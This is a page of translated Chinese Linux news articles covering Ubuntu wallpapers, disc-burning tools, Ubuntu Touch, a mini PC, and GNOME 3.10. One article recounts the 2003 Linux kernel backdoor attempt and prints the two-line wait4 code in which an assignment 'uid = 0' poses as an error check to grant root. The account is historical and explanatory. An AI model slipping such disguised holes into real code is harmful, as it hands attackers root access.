linux中国_ 发布的文章

2013年10月17日,Ubuntu 13.10即将发行,这将是又一个令人兴奋的功能强大的操作系统,该系统包含许多新的特性和改进,以及设计比赛产生的、默认设计的新的桌面壁纸。

俏皮的蝾螈壁纸 是一组简约风格的桌面环境,它的中心图案由一个活泼的蝾螈组成。

基本来说,这套壁纸的核心内容是一只在橙色背景上白色风格的蝾螈,同时在壁纸的四个边角添加了白色的圆角,用来衬托这只可爱的蝾螈小演员。

这样做的结果是:映入眼帘的图案是愉快和安静的,同时橙色的背景也为Dash添加了温暖的色调。

俏皮的蝾螈壁纸包含有以下几个 尺寸:1024x768, 1080x1024, 1366x768, 1440x900, 1920x1080, 1920x1080, 用来满足不同分辨率的需要。

要了解更多的信息,壁纸及 XCF 源文件的下载,可以访问以下网址: http://www.deviantart.com/art/Saucy-Salamander-Wallpaper-402488552

via: http://iloveubuntu.net/add-vitality-your-desktop-saucy-salamander-wallpaper-pack

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:woodboow 校对:wxy

最近Josh写了一篇文章,讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是)

今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。

时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。

但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。

但是在2003年11月5日的时候,Larry McVoy发现,CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。

神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码:

if ((options == (\_\_WCLONE|\_\_WALL)) && (current->uid = 0))

retval = -EINVAL;

[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看]

猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,将其值赋值为0

将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。

客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。

但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。

这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。

via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

大约一周前,我的朋友向我寻求一些帮助,是关于在Ubuntu下有哪些好用的CD/DVD刻录软件。此人本是windows的用户,但是由于他使用的Windows软件花费太多了,超出他的承受能力,因此他开始计划尝试使用Linux系统了。为什么不用那些免费的软件来把你喜欢的电影和音乐刻录到光盘里呢?其实windows操作系统中也有免费的替代产品,但是既然我的朋友正在走向Linux世界,让我们给他一些信息,介绍三个可以在Ubuntu Linux系统下使用的免费CD/DVD刻录工具吧。

Brasero Disc Burner

相信每个Ubuntu的用户都很熟悉Brasero Disc Burner,因为它就是Ubuntu Linux系统自带的默认应用程序。Brasero是一个在GPL协议下发布的免费刻录程序。这个软件的优点是,它可以支持CD和DVD两种格式。Brasero可以支持单次写入数据DVD、任何类型的CD,并能使用所有的能够被本地安装的Gstreamer处理的音频文件(ogg,flac,mp3,...)。

功能特点

数据CD/DVD:

  • 支持对光盘内容的编辑 (在文件夹中删除/移动/重命名文件)
  • 支持实时刻录CD/DVD数据
  • 自动过滤掉不合适的文件 (隐藏文件,损坏/递归的链接文件,不符合Joliet标准的文件,...)
  • 支持多区段刻录
  • 支持Joliet扩展
  • 能将光盘镜像写入到硬盘中
  • 能够检查光盘文件完整性

音频 CD:

  • 写入CD-TEXT信息(通过Gstreamer自动寻找)
  • 支持编辑CD-TEXT信息
  • 能够多区段刻录音频CD
  • 能够使用所有可以被本地安装的Gstreamer所处理的音频文件(ogg,flac,mp3,...)。
  • 能够在已删除的文件夹内查询音频文件
  • 在曲目间完全无噪音的编辑

你可以在这里读到完整的功能列表。

K3b

K3b是另一个能够完成大多数CD/DVD刻录任务的免费工具。这个功能丰富的软件有一个使用便捷的用户界面,并且能够处理蓝光或者高清DVD光盘。

该软件包含三个基本部分:

项目:

项目可以从文件菜单中创建,并且可以放入待刻录的数据

工具:

工具菜单内提供各种工具,比如CD复制或者DVD格式化。

根据不同任务提供相关的媒体工具:

当点击代表CD/DVD的驱动器图标时,K3b会展示出相关内容,并允许做一些更进一步的操作。比如翻录音频CD。

K3b能够把MP3和OGG的文件自动重命名为“艺术家-标题.mp3”这样的通用格式,可以通过托拽来刻录数据CD或者ISO镜像,可以创建eMovix格式的CD/DVD,能够把音频光碟翻录成任意CD数据库所支持的格式……这些还只是K3b的部分功能。你可以从这里阅读更多有关它的功能的资料。

Xfburn

Xfburn是另一个能够刻录CD/DVD的工具,它可以很好的运行在Xfce桌面环境中。它非常快速,轻量级,能够刻录视频CD和DVD。如果你不想为了K3b而安装KDE桌面环境的话,它会是最好的选择。

提醒:Xfburn 目前还在开发中,因此一些功能尚不具备,但是对于刻录数据来讲,它已经是一个非常好的工具了。

via: http://www.unixmen.com/3-good-cd-dvd-burning-tools-ubuntu/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:markvv 校对:Caroline

Ubuntu Touch 操作系统将可以在Galaxy Nexus,Nexus 4,Nexus 7和Nexus 10这些支持设备上正常使用。其预定于10月17日发布。

一位Canonical员工在他的博客中写到:

“截至今日,正好是我们发布Saucy Salamand(13.04)整一个月。作为那次发行版的一部分,Ubuntu将要发布的ubuntu-touch镜像文件可以安装在所支持的设备上。如果你有一款支持的设备,我鼓励你加入这次体验,你想要了解的一切都可以在它的wiki中找到。你需要一个nexus设备并且需要花点时间下载最新的镜像。如果你发现漏洞,请及时报告,wiki中有帮助链接。”

你有nexus设备吗?如果有的话,那么你将成为助力Ubuntu touch成为最好操作系统的最佳人选。即使你没有nexus设备,你仍可以通过创建漏洞修复的自动化测试来提供自己的帮助,作出自己的贡献,使漏洞不再出现。分享就是一种关怀,这是使世界更加美好的唯一途径。

Nicholas Skaggs也写道,QA团队致力于测试每一个稳定发行版,对新功能和特定的软件包集合进行深入测试。你可以在这里阅读更多邮件内容。

Ubuntu已经发布了他自己的显示服务器——Mir——它将替换古典而运行缓慢的X-Window。此外Canonical 也扩展了Ubuntu dash search,让用户可以在本地搜索Facebook、Yelp、Google Drive及其他几十种服务。

via: http://www.unixmen.com/ubuntu-touch-ubuntu-os-smartphone-almost-ready/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:Luoxcat 校对:carolinewuyan

同学们好~

除了完成日常工作,有时需要测试或使用某一个Linux发行版的时候,我们通常使用虚拟机,但这并不是最好的解决方案,你们是否听过Linux迷你电脑Utilite呢?

对于正在寻找一款Linux迷你电脑,同时却囊中羞涩的同学来说,Utilite是一个非常棒的选择。这款设备由Compulab研发,Compulab同时还是MintBox的制造商。Mintbox就是一款运行Linux Mint操作系统的小型电脑盒子。基于ARM的Utilite售价仅为99美刀,性价比出色!

Utilite标准版配置为2G内存4G存储容量,支持micro-SD扩展卡。支持搭载Ubuntu或Android系统。如果你愿意,还可以购买升级版,双核处理器2G内存8G存储 以及micro-SD扩展卡支持。这款设备是该公司第一款基于ARM架构的产品,采用Freescale的i.MX6系列处理器。在我看来,如果买不起昂贵的硬件,这是运行Ubuntu和其他GNU/Linux操作系统的最佳方法。

Utilite有单核、双核、四核多个处理器方案,支持HDMI+DVI双接口,2倍Gbe千兆以太网,支持WiFi和蓝牙。除了标准版和升级版,Utilite还提供了专业版,配备四核处理器、2G内存、32G存储,下面是专业版的配置:

  • micro-SD card
  • HDMI + DVI
  • 2x GbE
  • WiFi
  • Bluetooth

如配置中所示,这款迷你电脑还支持2个千兆以太网,PDIF音频输出、立体声音频插孔和RS232系列端口。Utilite的另一个巨大优势是耗电量非常低,只有3-8瓦。

各位屌丝,买不起土豪金,要不来一个Utilite试试~?玩好了还可以推荐给你的女神哦~!

via: http://www.unixmen.com/utilite-linux-mini-pc/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

经过2周左右的测试,Arch Linux开发者们今天早些时候(10月7日)在稳定频道发布了GNOME3.10桌面环境,用户们终于可以升级他们已经使用了6个月之久的GNOME 3.8了。

作为其中一名用户,我非常高兴在我的Arch Linux机子上进行了一次纯粹的GNOME 3.10体验。同时,我可以非常骄傲的说,GNOME 3.10桌面环境运行得非常好,而且界面美观,就像期待中的一样棒!

首先我想提醒大家,早在上个月9月25号,GNOME项目组就已经宣告发布了3.10版的,这些天来,我一直对发布公告中介绍的新特性充满兴奋与期待。

如果你也正在使用Arch Linux与GNOME作为你的主要桌面环境,那么现在你只需要在终端中输入命令“sudo pacman -Syu”,就可以将GNOME更新至3.10版本。别忘了重启电脑后,更新才能生效哦~

这也是我使用Arch Linux操作系统以来经历的最大一次更新,下载了总共300MB左右的更新包,安装后体积超过了1.1GB。

上面的截图,就是之前报道中我们所期待的的新特性与新功能,我可以拍胸脯告诉你,它们运行起来感觉棒极了!

当我重启完电脑,我立刻就注意到了登录管理器的一个新效果,还有风格相统一的状态栏,看起来令人惊喜而且很好上手。在登录按钮旁边有一个像轮子一样的按钮,如果你有多个桌面环境,点击它可以在各个桌面环境之间进行切换。

我必须承认,桌面加载以后,我是稍有一点失望的,因为我已经习惯了酷拽炫的GNOME桌面环境,但我之前安装的GNOME扩展却不见了。一开始,我认为是更新进程使其失效了,但经过一阵研究后,我才意识到,是因为之前的扩展插件无法与GNOME 3.10相匹配。

因此,我打开火狐浏览器,来到GNOME扩展页面,更新升级了其中最重要的一部分,然后用第三方主题对我的GNOME进行了美化。没办法~我就是要我的GNOME够酷够拽够炫!

如果是单纯的升级到GNOME 3.10,默认并不会安装一起新发布的应用程序。我必须从Arch Linux的软件仓库中手动安装它们。不幸的是,我并没有看到那些传说中的GNOME应用软件,或许过几天他们才会添加进来。

另一个有趣的东西是,我注意到当我在桌面点击右键的时候,出现了一个“打开终端”的新功能,如果你像我一样在工作中经常用到终端,你一定也会觉得这是一个非常方便的改进。

还等什么,赶快拿起电话订购吧......额不,赶快下载GNOME 3.10体验吧~

via: http://news.softpedia.com/news/First-Look-at-GNOME-3-10-on-Arch-Linux-389114.shtml

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy